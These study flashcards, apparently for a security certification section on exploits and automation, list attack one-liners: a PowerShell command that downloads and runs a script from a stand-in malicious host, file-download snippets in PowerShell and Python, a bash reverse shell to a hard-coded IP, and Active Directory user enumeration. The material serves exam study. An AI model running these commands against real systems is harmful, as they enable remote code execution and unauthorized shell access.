Section 23: Exploits and Automation Flashcards

1
Q

PowerShell (Download and Run a Script )

A

PowerShell (Download and Run a Script )
▪ powershell.exe -c “IEX((New-Object System.Net.WebClient).
DownloadString(‘https://malware.com/badstuff.ps1’))”

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

PowerShell (Download a File)

A

PowerShell (Download a File)
▪ powershell.exe -c “(New-Object System.Net.WebClient).
DownloadFile(“https://malware.com/badstuff.zip”,
“C:\Windows\Temp\downloaded.zip”)”

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

Python (Download a File)

A

Python (Download a File)
▪ import requests
url = ‘https://malware.com/badstuff.zip’
r = requests.get(url, allow_redirects=True)
open(‘downloaded.zip’, ‘wb’).write(r.content)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

Bash (Reverse Shell)

A

bash -i >& /dev/tcp/66.77.88.99/443 0>&1

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

PowerShell (List All Users in a Domain)

A

PowerShell (List All Users in a Domain)
▪ Import-Module ActiveDirectory; Get-ADUser -Identity <username> -
properties *</username>

How well did you know this?
1
Not at all
2
3
4
5
Perfectly